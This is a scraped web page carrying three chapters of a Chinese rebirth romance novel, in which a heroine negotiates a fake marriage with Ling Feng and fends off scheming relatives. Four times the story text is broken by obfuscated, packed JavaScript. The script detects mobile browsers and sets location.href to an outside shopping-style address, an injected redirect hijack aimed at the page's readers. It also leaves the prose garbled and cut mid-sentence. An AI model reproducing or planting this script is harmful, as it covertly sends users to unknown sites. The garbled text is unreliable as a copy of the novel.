RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242732|197807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的方琴。 她看出来了,方琴是真的喜欢她。 上一世,她最讨厌参加所谓的家庭聚餐,尤其发现对方是凌家。有种提到凌家,再精确些,提到凌枫就浑身痒痒,长出红疹子那般夸张。 成家、凌家、外公亲信陈家、好朋友肖晗。除了赵奕一,几乎身边所有人都在撮合她和凌枫在一起。越是这样她越逆反,最后选择了超级无敌大垃圾——王洋。 等后来成世泽发生意外,导致邓敏发疯说出以前从来没说出口的“疯”话。 那一刻,常好好才恍然大悟。人家邓敏和邓家给她做了各种局。大局、中局、小局,就等着她自动入局,不伤人家半分。 “好好,”邓敏手搭在转盘上,轻轻挪动转盘。很快,一盘大菜被她转到了常好好正前方的位置,“尝尝这个清蒸鱼,比烤鱼新鲜。” 管它是清蒸鱼还是烤鱼,常好好都不喜欢吃。小时候只要闻到鱼腥味,胃立马反酸水。 高二那年,得知自己不是成知聿亲生,担心被区别对待,瞧着成世泽吃鱼,硬着头皮说她最喜欢吃鱼,实际强忍着恶心劲儿咽下去。 这些,邓敏心里明镜着,但都不妨碍她继续给她夹鱼。 常好好盯着面前那盘清蒸鱼,鱼头正对着她,不放在嘴里都感觉到一股熟悉的腥气袭来。 真佩服以前的自己,忍者神龟吗?这都能强生生地咽下去。 勇士啊! 当年的她,到底怎么做到的? “我不喜欢吃鱼。”她道。 平平淡淡一句话,使整个包厢内迅速安静下来,大概静了三秒钟。 成世轩脸上始终挂着笑,目光飞快地在每个人的脸上游走,看见母亲邓敏僵硬的动作,手还搭在转盘上没有反应过来。他马上站出来圆场:“瞧瞧,都怪我!我忘了好好不喜欢吃鱼。”他微微用力,手把转盘带动起来,转了半圈忽地停下,“这道菜不错,我记得好好喜欢。” 成世轩对她一直可以,最起码表面功夫到位,不会明里暗里使绊子。 常好好顿了顿,而后拿起筷子,随便夹了一小块菜,塞进嘴里嚼了嚼。嗯……滨城最出名的大饭店又如何?菜让人难以下咽,都不如回家自己拍的黄瓜好吃。 在场的人都清楚常好好与成知聿的真实关系,谁都不点破。 这段小插曲立即翻篇,大家该吃吃该喝喝。 一顿饭,常好好始终把筷子拿在手里,无非做做样子,实际根本没伸出去几回。 “啪!” 完全没有预兆的一幕。 一个小小的、绿色的、有点奇形怪状的豆角忽然被人用公筷放进她的盘子里。 男人正脸都不给一个,只听见他说了一句:“多吃点。” 常好好嘴角一抽。 她说凌枫咋这么安静,原来在这等着她呢。 看了看盘里的豆角,她差点笑出声。大哥,你就算做样子也要差不多少吧,至少拿块排骨先? “上个月,我侄子刚办完婚礼……”那边,邓敏笑呵呵地说起有关婚礼的话题。 得,有人开始没事找事了。 常好好终于把筷子放下,双手在桌下做伸展运动,打起一百分精神,静静等待邓敏的反击。 果然如她所料,这个话题存在时间非常之长,绕了一圈又一圈,话头最终转到成家与凌家定下的娃娃亲上面。 11. 攻略 上一世,也是被邓敏挑头娃娃亲的事,常好好在某一次聚餐时情绪激动,要不是桌子被定死在地上,说不好能把桌子掀翻。 总之当场闹的不太愉快。 他们之间的娃娃亲…… 常好好明白了成青林的用心良苦。 她现在是一个孤苦无依的香饽饽,还是全身闪着金光的那种。 成家人不能尽信,邓家人虎视眈眈,其他家族看热闹暗中等待时机,随时出来咬一口。这么一看,确实只有受过成青林帮助的凌肃最可信。 上一世发生的事证明了成青林的慧眼如炬。凌家是常好好被舆论带节奏、泼脏水,在互联网几乎被定为杀害成世泽的凶手后,唯一没有对她落井下石,甚至向她雪中送炭的世家。 前有狼,后有虎。 单靠她一个人,根本抵抗不了贪心的邓家人和想要把她占为己有的其他世家。 她这个行走的钞票,必须尽快找到可以信任的合作对象。 所以,凌枫是唯一的选择。 常好好看了一眼凌枫。 不只是凌家其他人。当时成世泽出事,站出来指责她的一群人中的确没有凌枫的身影。 正琢磨呢,又一个哇绿哇绿的菜被甩在盘子中。定睛一看,比之前稍微长一小点的豆角。 没看错,竟然还是豆角。 “……” 他么的能换一个菜系吗? 咱换个颜色也行吧,跟绿色干上了是不? 常好好气得咬牙切齿,强忍住体内的“洪荒之力”,才没将两个豆角撅男人脸上去。 赵莉:“你看他们两个感情多好。” 邓敏:“真好,说不定今年能喝上喜酒。” 林蕊:“这是我第一次看见凌枫主动给其他人夹菜。” 常好好面上保持尴尬而不失礼貌的微笑,内心早已翻了无数个白眼。 不是? 你们什么时候“瞎”的? 感情真好,能在一群名菜里特意找两个干巴、抽条的豆角?别说海鲜和肉菜了,哪怕是鸡蛋也行啊,它最起码高蛋白。 成知聿是这里年龄最长的老大哥。今日凌枫的表现,他都看在眼里,满意地点了下头,道:“孩子不小了,确实应该提上日程。” 话音刚落,众人神色各异。 方琴眼睛一亮,第一时间看向常好好,想捕捉到她的情绪。 成世轩表情僵硬,瞟一眼凌枫,见他面色平静、表情冷漠,好像担忧他作出什么惊人的举动。 凌肃等人表情没太多变化。 邓敏脸上憋着坏笑,嘴角控制不住地往上翘,一副看热闹不嫌事大的样子,眼底闪过“等着看好戏”的精光。 下一秒,众人直视下,凌枫拿起纸巾擦拭嘴巴。 一秒、两秒、三秒。 常好好无语望天,心中暗骂凌枫擦个嘴没完没了。担心对方发神经,说出什么惊天地泣鬼神的话。她拿起纸巾,对着嘴巴啪啪两下擦干净,准备抢在男人之前抛出中性意见。结果还是晚了一步,被凌枫抢先说出口。 “两个人需要同频。” 凌枫是个狠人。 七个字,就这七个字能把在场所有人的情绪全部带动起来。 方琴恨铁不成钢,气得手抖,碍于人太多不好发作,只能朝自家儿子干瞪眼睛。 凌肃和凌楷父子俩一脸“猜到了”的模样,触及到方琴视线后同时低下头,非常默契。 成知聿眯了眯眼,露出不悦,但很快用笑容掩盖。 成世轩见怪不怪,轻轻抬眼瞄了一眼凌枫,仿佛在说:“还好没说更过分的话。” 邓敏嘴角的笑消失,抿了抿唇,心里暗骂:“这下没好戏看了。” 常好好有些意外。 凌枫竟然没有直接拒绝她?这算什么,怕她当场哭闹搞事情? 下一秒,圆场达人成世轩再次出来调和气氛。 聪明人忘性都大,连提出娃娃亲的成知聿都笑呵呵的聊天,装作无事发生,与大家讨论起更有意义的话题——最近股市行情。 聚餐结束。 长辈们简单寒暄几句,常好好默默站在一边。她感到非常混乱,脑子里乱成一团,从安燃生日宴会上的画面开始回忆,最后总结出一个非常重要的点,那就是尽快攻略凌枫。 倘若凌枫真的重生,她应该用哪种方式对他进行攻略? 太激进不行,怕把事情闹大没有回转的余地。太迟缓也不行,怕时间来不及,耽误成世泽。 方琴与邓敏聊完,微微侧过头,注视着常好好。注意到常好好情绪不佳,想要拉住她的手,却被一道熟悉且高大的身影挡得严严实实。一点缝隙不留,连常好好的头发丝都瞅不见了。 常好好正陷入思考中,想着想着眼前一黑,男人犹如一堵墙牢牢挡住她的视线。默了两秒,听见对方道:“我送你。”话音刚落,她怔在原地,一度以为耳朵出现了幻听。 凌枫再次开口:“走吧。” “你……”精分两字未出,常好好亲眼看见男人嘴唇动了动。虽然没发出任何声响,但是她看懂了嘴型。瞬间睁大眼睛,迟疑了一会儿,然后不再犹豫,撒丫子往凌枫停车的方向跑,嘴上不忘跟其他人一一打招呼,“我们先走了,明天见!” 等两个人与车一起消失在眼前,其他人都没缓过来神。 良久,成知聿打破宁静:“现在的年轻人跟我们那个年代不一样,让他们自己解决吧。” 成世轩脸上维持着笑,心里想的是:爸,有没有一种可能,年轻人和年轻人不一样。 车内。 常好好扭过头,静静地看着凌枫的脸,并没有立即开口。 车子启动,她不断地揉搓手指,怎么坐都不舒服,屁股挪来挪去,不知道是紧张还是兴奋。 “凌枫,你这次是不是真的想通了,打算跟我结婚。” 刚才凌枫的口型正是“结婚”。 常好好心里面清楚,凌枫绝不会随便把“结婚”两个字抛出来,除非有其他特殊原因。想到这里,她低下头开始酝酿情绪。 “实话跟你说了吧,我不是以前的我。” 凌枫认真开车,没吱声。 “你看没看过重生剧。” 凌枫表情没有一丝波澜,语气懒洋洋的,好像掺了些不耐,“你到底想说什么。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242733|197807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 真是言行不一的傲娇男。常好好把心里话憋了回去,坦诚道:“我重生了。从七年后回来。” 刚才的饭局不白参加。结束后,她想了很多。与其盲目猜测,不如先下手为强,坦白重生的事。 如果凌枫重生了,他自然知道七年间发生的事情,说不定会因此让他们建立起信任。 如果凌枫没重生,她可以“连吃带骗”,同样能让他们建立起与上一世不同的关系。 无论是哪种情况,对她都是利大于弊。 她紧盯凌枫的脸,甚至不敢眨眼,想从他的脸上找出破绽。 从凌枫的表情看,判断不出他是信了还是没信。只见他紧闭嘴唇,看上去不打算接话茬。 “七年发生了太多事情。我成为了顶流明星,街上随处可见我的广告大屏。随便去哪里吃饭都能听见大家讨论我演的剧、我参加的综艺、我的妆容造型、我的绯闻对象。” “酷誉因为两年后的新品咖嗒爆火,在年轻人中声量很高,随即公司的益智玩具被一个网红无意中带火。六年后,酷誉各类产品在全国范围内爆火。” 前面那段话,凌枫丝毫没有反应,后面这句刚说完,凌枫难得接了话。 “我代表酷誉谢谢你。” “……” 常好好对凌枫有了新的认知。夸奖与他相关的事一点都不客气,所以之前都在装聋作哑是吧? 看他这出心里就不爽。她展露出一抹笑容,准确说是坏笑。 “可惜,就在我重生回来的两个月前,酷誉倒闭了。” 终于能从凌枫脸上看到情绪转变,常好好憋着笑。 凌枫啊,这可是凌枫。传说中的“枫神”。看他吃瘪简直太舒爽了。 倒闭当然是气他的,实际没那么夸张。 见他不吭声,能够忍住不追问缘由,常好好心里不是一般的佩服。最终还是她先开口,继续道:“倒闭是逗你玩,但确实受到不小的影响,因为……”她哽咽道,“成世泽出事了。” “成世泽突然被人杀害。这件事影响到我,也影响到酷誉。” “公司联合赵奕一和冯媛背后的资本给我泼脏水,恶意剪辑录音,在互联网上给我“定罪”。舆论你懂的。我瞬间成为杀害成世泽的凶手。” “接下来成家一些事被有心人放在网络上。网上众说纷纭,成家被谩骂。后来有人买黑水军给成世泽和酷誉抹黑。这件事间接影响到酷誉的运作,你同样被波及。” 常好好语速不慢,仅仅两分钟,便把七年间与他们相关的重要事件的来龙去脉讲述清楚。 从说到成世泽出事开始,凌枫嘴里再没说出一个字。他的情绪波动不大,压根看不出他到底有没有认真听她讲。 “凌枫?”常好好试探性地喊了一声。 “怎么了。”凌枫语气不急不慢。 常好好长舒一口气。原来他一直在听,还以为要再说一遍,这下不用再费口舌。 只是她仍搞不明白凌枫的意思,话锋一转:“所以你刚才对我摆口型的意义在哪?”说完,看男人依旧平淡如水,她眼皮跳了跳,急叨叨地说,“你说结婚不会是在逗我玩吧?” 12. 暗器 “不至于。”凌枫道,“我只不过想找个安静的地方,跟你好好谈一下我们的婚约。” 常好好心里咯噔一声,紧盯车窗外的指示牌,双眼像雷达扫描一样寻找着熟悉的地标。 还好,这条路确实是回她家的路。 “去你家谈。”凌枫双手掌控着方向盘,轻松随意地说,“去我家你更没有安全感。你家更近、更方便些。” “你说什么呢,去你家怎么会不方便。你不用考虑我,远不是问题。”常好好快速道。 拜托!去她家才不方便。 饭局前刚答应了沈骁,明天带着她一起去凌家参加宴会。刚好安燃打来电话。三个人一拍即合,决定今天晚上在她家来一场分析大会,弥补上次线上会议的失败。 凌枫要是出现在她家,岂不打乱了他们的原定计划? 重生手册、写字板上骂凌枫的话、跑腿上午送到家里的快递,都没好好收起来。 意识到事情的严重性,她挤出笑脸:“去你家吧,我家有点乱,还有——” “没关系,我不在意。”凌枫出声打断,“按照你幻想的时间线,现在你不红,不用担心狗仔,但是我不行。” 常好好心里气得咬牙切齿,表面维持笑脸。 不会说话可以把嘴闭上的。 她默不作声,静下心来,一点一点消化想要骂人的冲动情绪。 见她不说话,凌枫顿了顿,察觉到话不对,皱了皱眉,重新说道:“不好意思我忘了,狗仔才拍过我们,都没认出来你。” 常好好忍住嘴巴想要工作的强烈意愿,侧过身去,脸朝着车窗,用力咬着下嘴唇。 凌枫这张嘴,真他么毒啊。 半个小时过去。 常好好站在家门口,磨磨蹭蹭抬起手、放下,又抬起再次放下。她猛地转过身,把站在后方的凌枫都雷得挑了挑眉,“你家门有暗器?” “……” 不怪常好好磨叽,实在是对屋里的两个队友不放心。安燃吊儿郎当,平时总把“没事儿”挂在嘴边,做什么都一副无所谓的样子。沈骁接触时间短,别的没看出来,乐观是真乐观,没心没肺也是真没心没肺。 这俩人干活,她能放心吗。 重生计划手册有没有放她卧室的床头柜里。写字板是否放进书房并锁上门。门外的快递倒是拿进去了,就怕他们不上心随便塞地方让凌枫看见,那里面可全是凌枫打羽毛球时期的小卡,她斥巨资才从半退坑的粉丝手里买下来。 想着想着,常好好清了清嗓子,忽地放大声音:“你为什么非要来我家?” “方便。”凌枫用一种看白痴的眼神望着她,“我在车上解释过。你失忆了?” 常好好后背贴着自家房门,眯了眯眼,神秘兮兮的样子,“我提醒你,进我家可就是我的人了。” “你不怕被我纠缠?” “常好好。” “嗯?” “你累不累。” “还行。” “我替你累。” “?” “明明不喜欢,每次碰见却装作对我很爱。你确定不累?”凌枫上前一步,微微低下头,露出她没见过的浅笑,“我想跟你说,你不用在我面前演戏,我今天来是跟你谈合作。” 合作? 虽然但是,距离是不是有点太近了。常好好闻着凌枫身上淡淡的香水味,咽了下口水,一动不敢动,直到凌枫直起腰身问了句:“现在我可以进去了吗。”才清醒,下意识点了点头,手指一贴。 随着“咔哒”一声,门开了。她拉开门,往后退了一小步,摆出“请”的手势。 凌枫好似被钉在原地。 常好好被他的操作整不会了,歪头眨了眨眼,好像在说:“你咋还不进去。” “你先进吧,我怕有暗器。” “……” 武侠片看多了吧。 常好好哪有时间吐槽凌枫,见凌枫终于肯进屋赶快把门带上,眼睛扫荡鞋凳处的鞋,确定鞋被他们收起来后才稍微放松。 这时,凌枫回身望着她,目光让人读不懂。 想到安燃和沈骁那两个家伙不知道藏在家里哪个房间,她心虚地躲避眼神,生怕被凌枫察觉。 “你不是一个人住?”凌枫问道。 他的眼神让人感到有压迫感,常好好心跳加快,手紧紧揪住衣角,“怎么可能?”语气不似平常,明显底气不足,“你,你为什么这么问?” 凌枫往旁边移一大步,脚下瞬间露出大块空间。一灰一粉两双拖鞋并排放好,板板正正。 服了。 就知道那俩人不靠谱,多此一举干嘛?关键时刻,还得靠她自己挽救。 “你知道的,我对你一直有非分之想。鞋每天早上准备好,幻想着你有一天来我家做客。”说完,她见凌枫嘴角微微一抽。 察觉对方没有张嘴发问的意思,她继续道:“我知道你不相信我喜欢你,不过无所谓,我们即将成为合作伙伴。你放心,我非常有定力,不会轻易推倒你。” 凌枫面无表情:“我可以反悔吗?” “不可以!”常好好笑眯眯的回复。 担心凌枫真的后悔,常好好不浪费一分一秒,寻思尽快把合作敲定再把他请出去。于是,以最快的速度打开客厅的蓝牙音响。 有了音乐不用担心沈骁和安燃不小心出声被凌枫发现。然后她连衣服都不换,正襟危坐,左手不自然地搭在大腿前侧,右手在餐桌底下放着握紧手机,屏幕停在她和安燃、沈骁三人群的界面。表面故作愁容,叹了口气道:“邓敏你有所了解,刚才饭桌上没少给我使绊子。成家其他人呢就那么回事,表面看不出端倪。” “既然合作,我没必要再瞒你。我外公给我留下很多钱,包括成氏集团股份、另外一笔钱和外公老宅。而我对企业那些不感兴趣,了解很少。光靠我一个人很危险。” 这个世界上什么最重要? 当然是自己的命。 上一世成世泽突然出事,常好好心慌意乱,总感觉此事跟她有牵扯,甚至联想背后之人是不是冲着她来的。 那段时间除了警方传唤,她根本不敢出屋,吃的东西更不敢随意放嘴里。 往事不堪回首。常好好拿起酒杯“咕噜咕噜”喝下去,再放下杯子,杯里的酒已经不见大半。 凌枫眉头轻蹙,目光扫向酒杯,手维持不动。 他道:“我知道。” 常好好挑眉:“你知道?” “如果我说我从一开始就打算跟你结婚、跟你合作,你信吗?”凌枫道。 废话,当然不信! 常好好情绪演的非常到位,一脸认真地点头:“信,我当然信了。” 凌枫深深看了一眼她,继续道:“是你一直拒绝凌家,拒绝我们的婚约。” “我上一世被邓敏他们耍了,自己是傻的,竟然找王洋假结婚。”提到这个名字,常好好眼底闪过一层厌恶,不再伪装直接炸了,“王洋这个不要脸的垃圾!” 凌枫看着她的眼睛,忽地想到了什么,垂下眸子。 常好好情绪激动,没有注意到凌枫的微表情,一脸愤恨,“他后来反水,背刺我。” 王洋这俩字是常好好的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242734|197807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 超级雷区。上一世,自己选择的合作伙伴把自己坑得那个惨。心里悔的啊,肠子都悔青了。她不理解当时的自己,又给自己倒了一杯。 后来,好像不过瘾似的,倒了一杯又一杯。 几杯下肚,对面的杯子却连地儿都没挪,她把杯沿凑过去,碰了碰对面的杯身,“你怎么不喝?” 凌枫惜字如金:“我开车,而且我酒精过敏。” ……骗谁呢? 但是正合她意。 常好好露出了然的笑容,“喝吧,不是酒,我给你倒的是果汁。” 凌枫愣了一下,慢悠悠地拿起酒杯抿了一口,眉头紧蹙。 “既然你我达成合作,以后就是一家人了。”常好好举起酒杯,“让我们干杯!” 凌枫直视常好好的双眼,仿佛在打量她。确认过后,二话不说将面前的酒杯一饮而尽。 随着他的酒杯见底,常好好也干了这一杯,再为凌枫续上新的果汁。 看着眼前举着酒瓶的手微微颤抖,凌枫握住常好好的手腕,转了一下方向,瓶嘴回到正确的位置,酒不再撒在桌子上。 常好好把瓶子放下,眼皮半垂着,偶尔眨一下眼,显得格外缓慢。 “凌枫。”她轻声细语地喊了一声。 凌枫正视女人红扑扑的鹅蛋脸。这是第一次,他在常好好的眼睛里没有看到对他的算计。 “你和王洋不同,肯定不会骗我。”常好好扯出一个算不得笑的表情,“怪我太缺心眼,选择王洋那个大傻叉。被坑不说,”她闭上眼,强压恶心劲儿,再缓慢睁开,“你知道吗,差点,差点被他吃干抹净。” 凌枫看着她,眉头不自觉地拧紧,一改毒舌风格,半晌没出声。 常好好再喝一杯,越说越激动,蹭地站起来,脚步乱飞挥舞着拳头:“要不是法制社会,那天我非暴打他一顿不可。” 她的话音刚落,凌枫用最平静的语气说出让她拍手叫好的话:“他的脚一直没好。” “真的?”常好好脑海中浮现王洋捂着脚痛大喊的画面,边拍大腿边大声笑,笑出了泪花,一滴一滴的,滴在白色地砖上。 看她身体摇摇欲坠,外加走路踉踉跄跄的,凌枫轻柔太阳穴,起身扶住她的手臂。 他道:“你喝多了。” 好不容易找到支点,常好好紧紧回握男人的手臂,踮起脚尖,带有酒气的脸庞想要逼近男人的脸,却没稳住身子,一下子跌进男人的怀抱。 感受到温暖的胸膛,她舍不得离开,闭上眼睛,手臂自然地环住他的腰,嘴巴不忘问道:“凌枫,我们是队友,会彼此信任对不对?” 两人紧紧贴在一起,凌枫的身子变得僵硬,犹豫了一下,手松开半分,可女人再次抱紧他,不依不饶地在他耳边轻轻吹气:“你怎么不回答?” 他无奈叹了口气,看着女人那可怜模样,忍了忍,断断续续地说:“……嗯。” 此时此刻,常好好双臂环住他的脖子,脸颊贴在他胸前。 可就在他视线盲区,常好好整张脸松弛下来,嘴角再不是柔和的曲线,而是控制不住地向上扬起,带着点计谋得逞的得意。 那双刚刚漾着水光的眼睛,忽地眯了眯,眼尾带着一点锋利。 小样!也不看看她是干什么的? 论城府,她比不过凌枫。但论演戏,她是专业的。身边还有谁比她还能演、还会演? 常好好轻轻地舒了口气,是一种放下伪装的轻松,很快又换上另一副面孔,准备上演另一场大戏。结果情绪还没完全转变过来,就被侧边突然蹦出来的沈骁和安燃吓得不敢呼吸,脸都白了。 13. 精彩 沈骁和安燃不约而同地猫着腰,一步一步,慢慢向距离玄关方向最近的衣帽间移动。 常好好脸上一阵青一阵白,心里七上八下,显然被缺心眼队友吓得不轻。察觉凌枫要从她的怀抱里抽离出来,手臂用力环住男人的腰身,嘞得紧紧的,使出了全身力气,顺便借着耍酒疯,带着凌枫来了个四十五度大转弯,生怕凌枫侧头看到两个二货的滑稽姿势。 与此同时,她视线锁定抽风的两个人,亲眼见证他们进入衣帽间,刚要松口气,沈骁不知道发哪门子神经,弹出个脑袋朝她挤眉弄眼,还伸出手给她点了个赞。 “……” 丫的,现在是点赞的时候吗? 常好好脸都变扭曲了,骂骂咧咧的话被她强压回去,用嘴型说:快给我进去! 衣帽间的门终于被稳稳关好,她离开凌枫的怀抱,没有马上抬头,而是垂下眼眸酝酿着情绪。 “凌枫,不管你信不信,我喜欢的人一直是你。”她悄悄掀起眼皮,去捕捉男人脸上的每一丝变化。见他眼神里没有厌恶,底气更足了。声音愈发轻软,掺进恰到好处的颤抖,“我总是把真心隐藏,其实在默默关注着你。”说完这句,她像是耗尽了所有勇气,飞快地低下头,脸颊适时地漫上一层薄红。 那模样,任谁看了都会觉得这是一个喝醉了酒,鼓足勇气才敢吐露心声的暗恋者。 凌枫那张总是没什么表情的俊脸,再一次因为对面的女人出现了清晰的裂痕。 他缓了缓,问道:“你不会趁我不备对我做出什么吧?” “我是那样的人吗?” 不是?他那怀疑的表情给谁看呢? 常好好转移话题有一套,“你不会因为我喜欢你,就不跟我合作了吧?” 听到这话,凌枫忽然抬起眼,目光不偏不倚地落在常好好脸上。没有之前的游移,没有迫人的压力,就是很纯粹地看着她,像是要把她看得更清楚些。发现对方始终没有回避视线,他不急不缓地回道:“不会。” 成了。 赌成功了。 她闭着眼睛举起手,欢呼道:“太好了,提前祝贺我们合作成功!”然后一激动又干了五瓶啤酒,假醉变成了真醉,彻底睡死过去。 雾,四周尽是迷雾,压根看不清前方的路。 常好好心惊胆颤,想要说话,却发现自己喘不过气来,难受得跪在地上。 “呼……呼……” 原来是梦。 她把蒙在嘴巴处的被褥掀到下边,睁大眼睛,大口喘着气。 良久,她稍微清醒些,猛地坐直上半身,然后又眯了眯眼。昨天与凌枫“演戏”,后来真喝多了。 “凌枫好像答应合作了。”她自言自语,走到卫生间快速洗了把脸,有节奏地涂抹护肤霜,轻轻拍打着小脸,嘴里哼着小曲。洗漱完毕,打了个哈欠,突然灵光一闪。 卧槽! 沈骁和安燃? 她飞扑过去推开房门,沈骁和安燃没瞅见,发现餐厅站着一个并不应该在这个时间出现在这里的人。 一秒、十秒、半分钟过去。 常好好一脸懵逼地走到男人面前,压着焦急的情绪,对这位新的队友语气友好了许多。 “你怎么还在我家?” 凌枫把三明治摆好,抬起头,笑道:“太晚了,没走。”这个笑容虚伪中带着诡异。 常好好右眼皮猛地跳了两下,她用手压了压眼皮,直接问:“昨天我喝多了,然后……然后……”她想问她怎么进的房间,又担心他撞见沈骁和安燃,心里面乱成一团,琢磨着如果都发生了,怎么编瞎话把他骗过去。 凌枫朝她靠近,声音放低:“家里人太多,等他们走了再说。” 被他的话搞晕,常好好一时竟分不清对方的话是不是有其他含义。 她歪着头,开玩笑地说:“怎么的,你能看见别人看不到的?” 话说到一半,“咳咳咳”三声从后方传来。 吓得她原地弹射,拖鞋“咻”的一下甩到五米开外,整个人挂在凌枫身上,双手死死箍住人家脖子不放,嘴唇微微颤抖,“我去!你还真能看见?” 凌枫下意识抬起手臂,却在触碰到她发尾后顿住,悄然收回。他冷静地道:“他们来了。” “啊???”常好好再次懵逼。 “忆时。” “你们……干嘛呢?” 如此熟悉的音色,还不止一个人? 常好好身子先是一激灵,脑袋才慢半拍“唰”地转过去。 一、二……五? 五个人的脸上那叫一个精彩。 她一眼望去,目光从每个人身上划过。 沈骁、安燃、成世轩、赵莉……最后视线定格在成馨彤手里捏着的画。别说,风格挺独特。 沈骁站在最旁边,拼命朝她使眼色,左眼眨完,眨巴右眼,任谁看都像眼睛抽筋。 看她没理解,沈骁闭上双眼,无奈摇了摇脑袋,决定把“战场”交给他们,迅速闪了。临走时不忘突出她的大嗓门:“哎呀,我去给你们洗点水果。” 安燃从进来看见凌枫,尤其他那湿漉漉的头发丝后便目瞪口呆,眼睛没抽筋,嘴唇抽抽好几下。这浑水他可一点不想蹚,打着哈哈,直奔卫生间,溜得比沈骁有技术含量。 这时,常好好耳边响起男人好听却比安燃和沈骁欠扁百倍的声音:“你忘了昨天饭桌上与你侄女交谈的话?” 常好好盯着那副抽象画,眼神要多愣有多愣。 昨天,成馨彤说自己画画水平突飞猛进,想要画一副美丽的画送给她。当时那种情况,大部分注意力都放在邓敏身上,其他不过随口回答几句,谁能想到小孩子竟然当真了? 常好好赶紧收回视线,揉了揉眉心,这下有嘴都解释不清。 两个人昨晚刚决定合作,可计划没成型呢,现在说的不一样很容易穿帮。 她视线飘回到凌枫身上,鼻子嗅了嗅,一股好闻的、清香的、有点熟悉的……靠!沐浴露的味道?她看着凌枫咬牙切齿,这家伙真不把自己当外人啊,还洗了个澡? 凌枫不动声色地凑到她耳边,用只有两个人能听见的音量说道:“绝佳时机。” 她秒懂男人的意思,还是忍不住小声吐槽:“你下次能不能提前告诉我?” “我给你发了无数条信息。”凌枫淡淡道,“可惜你睡太沉。” 她气得双手叉腰,“你就不能进我房间把我摇醒?” 无言。 凌枫不再言语。 常好好心气不顺,瞟了男人一眼,语气从友好又变回不友好,“凌枫,我们以后是要假结婚的人。对我,没必要太有边界感。” 凌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242735|197807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 枫情绪一如既往的稳定,嘴上更是常规操作,“你以为我没摇你?睡得跟小猪很像,包括睡相。” “……” 他才是猪呢。 “现在说这些没有意义。成知聿、邓敏、陈叔、你爸妈还有那边的成世轩,哪个不是聪明人,关键时刻演技很重要。”常好好从上到下、从左往右扫了男人一眼,貌似他演技不比她差,“你知道的,假结婚我有经验,一会儿听我指挥,别再精分,省得被人抓到把柄。” 凌枫没反驳。 毕竟“假结婚”这种体验不是谁都拥有过。 瞧着对方老老实实地站着,嘴唇紧闭,常好好心里踏实不少,视线锁定成世轩,组织好语言,张开嘴,却被小侄女的动作打断了。 成馨彤刚满十一岁,正处在什么都懂一点,好奇心满满的年纪。她松开母亲赵莉的手,小脸绷着,迈着不疾不徐的步子,停在凌枫脚前半米处的位置,微微歪着头,问道:“叔叔,你和我小姑是什么关系?” 一句话把大人们问懵了,向来嘴毒的凌枫都沉默了好多秒,顷刻间气场变弱。 “所以,你要当我的小姑父吗?”小孩子想到哪里说哪里,没那么多想法。 常好好惊呆了。 现在的小孩子不好糊弄。 大人中赵莉率先反应过来,担心女儿继续问让人脚趾扣地的问题,连忙快走两步拉走女儿,顺便把边看戏、边往嘴里塞葡萄的沈骁一起叫走。 两个大人带着成馨彤去最右边的多功能区,心照不宣地玩起游戏。 宽敞的餐厅内剩下常好好、凌枫、成世轩三个人。 成世轩身高虽不如凌枫高,气场却一点不比凌枫差,简单一个笑,眼神一瞥、手一挥,示意两个人坐在椅子上谈谈。 趁他转身的功夫,常好好手指碰了碰凌枫的手臂,用口型对暗号,表情贼浮夸,也不管凌枫看没看懂。 成世轩随意找了个位置坐,常好好与凌枫默契地坐在他对面。好巧不巧,远处卫生间的门被人推开,安燃专心致志拿着纸巾擦着手,一抬头,好家伙,餐厅那边三双眼睛盯着他瞅。 安燃:要不再进去待会儿? 不给他原路返回的机会,成世轩冲他“亲切”地勾了勾手,被逼无奈的安燃只能硬着头皮在成世轩右侧坐下,顺便朝常好好和凌枫递了个眼神。 常好好对成世轩这个大哥有一定的了解,早猜到他会说什么。无非就是责任心、团结友爱这些。 不出她所料。 沉默半晌,成世轩盯着凌枫看会儿,又盯着常好好看了好半会儿,不知想到了哪里,微微叹了口气:“成年人了,做事要有责任心。有了新的关系,要心往一处使,用心处理好这份感情。” 成世轩比常好好大九岁,比凌枫还要年长四岁。自从成氏集团被他接手,公司注入许多年轻血液和创新项目。与成知聿时期相比,销售量上涨近一倍。 